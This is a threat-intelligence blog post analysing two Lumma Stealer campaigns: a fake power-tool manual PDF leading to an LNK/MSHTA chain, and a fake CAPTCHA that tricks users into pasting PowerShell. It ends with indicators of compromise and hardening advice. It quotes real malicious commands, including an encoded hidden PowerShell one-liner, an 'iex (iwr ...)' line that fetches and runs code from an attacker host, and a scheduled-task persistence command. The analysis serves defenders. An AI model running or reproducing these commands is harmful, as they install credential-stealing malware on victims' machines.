Chris Campbell Oct 23, 2024 57 min read

Converging paths - Analysis of recent Lumma Stealer campaigns

As part of our 2024 Cyber Smart Week blog series, our security team share their thoughts and analysis of some recent Lumma Stealer campaigns... 

Dozens of paths can all lead to one place, and on this journey that’s to Lumma Stealer.

What is Lumma?

Lumma Stealer, or formerly LummaC2, is an information stealer that has been advertised and sold as a Malware-as-a-Service offering on several cybercrime forums since 2022. The malware receives frequent updates and has extensive capabilities, including:

  • EDR and AV evasion capabilities:
    • Direct syscalls (relevant reading from MDSec and Outflank).
    • Heavens Gate, permitting execution of 64-bit code in 32-bit processes.
  • Chromium and Mozilla browser password, cookie and history theft.
  • Cryptocurrency and MFA browser extension support.
  • Discord application token theft.
  • Low-level file grabber.
  • Integrated reverse proxy (using GhostSocks).
  • EXE, DLL, PS1, and LNK payload builders.

CS blog 3 - pic 1

Source: LummaC2 Gitbook

The seller, “Shamel”, is also responsible for 7.62mm Stealer:

CS blog 3 - pic 2

Lumma subscriptions begin at $250/month and extend to $1000/month. There is also an option to make a one-time $20,000 payment to obtain the stealer and panel source code, and the right to resell it:

CS blog 3 - pic 3

From 2023 onwards, Lumma has made steady progress towards becoming the dominant player in the information stealer market. As seen on the log and credit card marketplace “Russian Market”, Lumma is currently the top source of logs by a significant margin:

CS blog 3 - pic 4

The potential impact of stealer infections is not limited to the compromise of email accounts and web services. Credential sets purchased from markets like this often include logins that threat actors can use to gain initial access to organisations through their corporate VPN.

Samples

Both of the following samples were discovered in-the-wild on Tuesday 22nd October, but are associated with campaigns that have been active for multiple months.

PDF leading to Lumma and Amadey

This chain begins with an innocuous looking Google search result for a site (instructionhub[.]net) offering documentation for household appliances. Reports from both a customer, and peers at other MDR providers, indicate that victims stumbled across this when trying to find manuals for power tools:

CS blog 3 - pic 5

The link lands the user directly in a PDF document, which on the first page offers a link to view the otherwise blurred manual:

CS blog 3 - pic 6

This redirects to a WebDAV (Web Distributed and Versioning) server redirect at all-instructions[.]wsconnect[.]org:

CS blog 3 - pic 7

Allowing it to open presents a shortcut file hosted at hXXp://download[.]wsconnect[.]org/Downloads/Instruction_1928_W9COI.pdf.lnk, which tries to conceal itself as a PDF file:

CS blog 3 - pic 8

Default Windows security settings will present the user with a warning that the file is remote, and request confirmation to open it:

CS blog 3 - pic 9

The shortcut does not point to a specific file and instead initiates the infection chain, beginning with retrieving and executing an Emmenhtal payload from a remote URL using MSHTA:

C:\Windows\System32\forfiles.exe /p C:\Windows /m exp*.exe /c "powershell Start-Process \*i*\*2\msh*e hXXps://pdb[.]timeless-tales[.]shop/api/reg/HardhatSeminar.json"

CS blog 3 - pic 10

The Emmenhtal HTA script is contained within a legitimate Notepad executable:

CS blog 3 - pic 11

As seen here, the obfuscated JavaScript found in the same file:

CS blog 3 - pic 12

This decodes to obfuscated PowerShell, which is run by MSHTA using WScript.Shell:

CS blog 3 - pic 13

The hex string is decrypted, and the resulting code run with Invoke-Expression ($ZwCPJpLIY.Substring(0,3) being “iex”):

CS blog 3 - pic 14

This next blob is simply base64 encoded. The effective script downloads an AutoIT loader (update.bin) and script (config.bin), and starts the loader with the script as it's single argument:

CS blog 3 - pic 15

The decompiled AutoIT script uses a homebrew encryption function to obfuscate itself, but it is essentially a shellcode loader:

CS blog 3 - pic 16

Once decrypted, it was found to take the first 172892 bytes of the file (which share strings with confirmed DarkGate samples), decrypt them, initialise a struct of the same size, and execute the struct contents via an EnumWindows callback:

CS blog 3 - pic 17

OpenWith.exe is then spawned and Lumma injected into it:

CS blog 3 - pic 18

Exfil is made to a path under c1[.]creative-habitat[.]shop:

CS blog 3 - pic 19

2 additional files are also retrieved by the OpenWith.exe process:

CS blog 3 - pic 20

  • An unknown loader (matched some ModiLoader signature), used to deliver Amadey. While signed, the signature is invalid.
  • Another unknown loader (ldr_clp), used to retrieve an archive (clp.bin) containing an AutoIT loader and script.

The AutoIT script is very similar to the one seen earlier in the chain, used to extract shellcode from the file and execute it through a callback function:

CS blog 3 - pic 21

CS blog 3 - pic 22

The other loader spawns a new process tree using a well-documented UAC bypass (via the ICMLuaUtil COM interface):

CS blog 3 - pic 23

Another more.com process is started, which in turn creates a new explorer process – into which an Amadey payload is loaded:

CS blog 3 - pic 24

Amadey begins C2 with hXXp://em3r30[.]updateexpert[.]shop/pLQvfD4d5/index.php:

CS blog 3 - pic 25

Copy+Paste PowerShell leading to Lumma

The second example begins with a user being directed to a page that requests they complete a CAPTCHA, or take action to resolve a browser issue (as seen in this ProofPoint blog). There are multiple variants of this that exist, and the form may be embedded within a page:

CS blog 3 - pic 26

A message box informs them to launch the Windows run box, paste the contents of their clipboard and press Enter:

CS blog 3 - pic 27

A Javascript function has been used to copy an encoded PowerShell command to their clipboard, with an additional parameter that hides the PowerShell window:

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -eC aQBlAHgAIAAoAGkAdwByACAAaAB0AHQAcABzADoALwAvAGkAcABsAG8AZwBnAGUAcgAuAHIAdQAvADIANQAwADkAMgA1ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAC4AQwBvAG4AdABlAG4AdAA=

CS blog 3 - pic 28

A PowerShell window is very briefly flashed up, and the infection process begins.

While first observed in the wild, this technique has been more recently refined by security researchers, and a slick demonstration of it open-sourced on GitHub:

CS blog 3 - pic 29Source: X/Twitter

The PowerShell command pulls an additional script from iplogger[.]ru and runs it using Invoke-Expression:

iex (iwr hXXps://iplogger[.]ru/250925 -UseBasicParsing).Content

This downloads a ZIP file, extracts it into the path %TEMP%\file\, and then launches “Set-up.exe” from within that folder:

CS blog 3 - pic 30

CS blog 3 - pic 31

“Set-up.exe” is a legitimate Thunderbird installer:

CS blog 3 - pic 32

All DLL’s bundled in the ZIP are signed as expected, with exception for xpcom_core.dll. This matches the same findings that ZScaler made of HijackLoader:

CS blog 3 - pic 33

Like the first sample, the sideloaded Thunderbird installer spawns more.com which drops a large, randomly named file in %TEMP% and injects Lumma into a new SearchIndexer.exe process:

CS blog 3 - pic 34

Exfil is made to a path under platformcati[.]sbs:

CS blog 3 - pic 35

A further PowerShell script is pulled from onefreex[.]com:

CS blog 3 - pic 36

This saves an executable in %TEMP% and launches it. Two oversized files are dropped in the same path:

  • “service123.exe”: DLL loader.
  • “vErfIqrtTJHPODUCAmMF.dll: Clipbanker payload.

CS blog 3 - pic 37

“service123.exe” is launched and configures a scheduled task named “ServiceData4” which attempts to start this executable every minute. Mutex “QzlqMofVpuyLobHvTcyZ” is used to prevent duplicate instances of the malware from running simultaneously:

"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

CS blog 3 - pic 38

Artifacts

Indicators of Compromise

Artifact

Type

Value

PDF Host

Domain

instructionhub[.]net

WebDAV Host

Domain

all-instructions[.]wsconnect[.]org

LNK URL

URL

hXXp://download[.]wsconnect[.]org/Downloads/Instruction_1928_W9COI.pdf.lnk

MSHTA Execution

PowerShell

Start-Process \*i*\*2\msh*e http

MSHTA Script

URL

hXXps://pdb[.]timeless-tales[.]shop/api/reg/HardhatSeminar.json 

updater.exe

SHA256

1da298cab4d537b0b7b5dabf09bff6a212b9e45731e0cc772f99026005fb9e48

vtBCQWgJ.bin

SHA256

98ea87496327ab571bb7f98122263f460343bef5107b7fcbb6e9a93f7716818c

ldr_clp

SHA256

46604751c20aebeac273f00f5614a5b6ac72e26a9486e006fb37dd90cf22f6b8

clp.bin

SHA256

da35dd05d5515c03bbcbff2ec772fba94140f64db18a5a5af0ecde4b256b3eb1

AutoIt3.exe

SHA256

1da298cab4d537b0b7b5dabf09bff6a212b9e45731e0cc772f99026005fb9e48

Petroleum.imp

SHA256

d7b8082a1ad68e73faf5b12b55ab6f9e2bc3fe37805acddc6adc1d8a92adae36

C0ZSRSVCUJHZZQSOI6GLQ3PHZQ9O5G.exe

SHA256

1d81e1ea587c9f6b84666ebd54a1b01c684047e2e16a155c495df62e8d51940b

Lumma C2

Domain

c1[.]creative-habitat[.]shop

Amadey C2

Domain

em3r30.updateexpert.shop

Fake reCAPTCHA

Domain

pub-9c4ec7f3f95c448b85e464d2b533aac1[.]r2[.]dev

Script

URL

hXXps://iplogger[.]ru/250925 

Thunderbird Archive

URL

hXXps://eu2[.]contabostorage[.]com/97c9beb737884d93a1899766d9f4e34c:gostired/jopi23.zip

Thunderbird Archive

SHA256

7fc6589722a4f49dc4f2c21f398d9aadae739c63d2c690bbcb16a4c0686e3fd0

xpcom_core.dll

SHA256

30c254437b4082d505b099894a40c97faafff1f5095d44487e46d15d01e9f05a

Script

URL

hXXps://onefreex[.]com/api/download

Lumma C2

Domain

smashygally[.]sbs

Lumma C2

Domain

modellydivi .sbs

Lumma C2

Domain

pioneeruyj[.]sbs

Lumma C2

Domain

qualifielgalt[.]sbs

Lumma C2

Domain

platformcati[.]sbs

Lumma C2

Domain

fightyglobo[.]sbs

Lumma C2

Domain

nervepianoyo[.]sbs

Clipbanker

Mutex

QzlqMofVpuyLobHvTcyZ

tmp368B.tmp.exe

SHA256

4cc256359822bc297490712a994bbe28fd7cf7859f012ca57ff7441309bfb95d

service123.exe

SHA256

6ac6d10c7a193cca419363a8b01931cb8d20093ad950032ca842c9544612b6e0

vErfIqrtTJHPODUCAmMF.dll

SHA256

0b56c74e9b3000a49d07f9f55aeae1b14e0ef174b43b89981113051a25c955e1

Samples

Response

  • Retire legacy antivirus solutions in favour of modern XDR options such as Defender for Endpoint, CrowdStrike or SentinelOne.
  • Ensure your XDR platform is configured according to vendor recommended best practices. This will include:
    • Enabling anti-tamper functionality.
    • Avoiding exclusions wherever possible and defining exclusions as specifically possible where a conflict between software and the security platform is identified. Never define broad exclusions, including those that apply to entire drives or profiles, file-types or system applications that could be abused as a LOLBIN.
    • Do not immediately dismiss alerts for system applications as expected behaviour. This is especially common to observe in security programs operated by internal IT resources. Those responsible for detection and response functions must be well-versed in current adversary tradecraft.
  • Use a reputable password manager (e.g., 1Password) and avoid saving passwords in browsers.
  • There is no single best resource for emerging malware. While a lot is kept within cybersecurity trust groups, X/Twitter can still be a great resource using a list like this one that I maintain.
About the author

Chris Campbell

Chris was that notoriously disobedient kid who sat at the back of the class and always seemed bored, but somehow still managed to ace all of his exams. Obsessed with the finer details and mechanics of everything in both the physical and digital realms, Chris serves as the Principal Security Architect within the Inde Security Team. His ventures into computer security began at an early age and haven't slowed down since. After a decade spent across security and operations, and evenings spent diving into the depths of malware and operating systems, he brings a wealth of knowledge to Inde along with a uniquely adversary focused approach to defence. Like many others at Inde, Chris likes to unwind by hitting the bike trails or pretending to be a BBQ pitmaster. He is also heavily involved in the leadership of security events, trust groups and research projects.

COMMENTS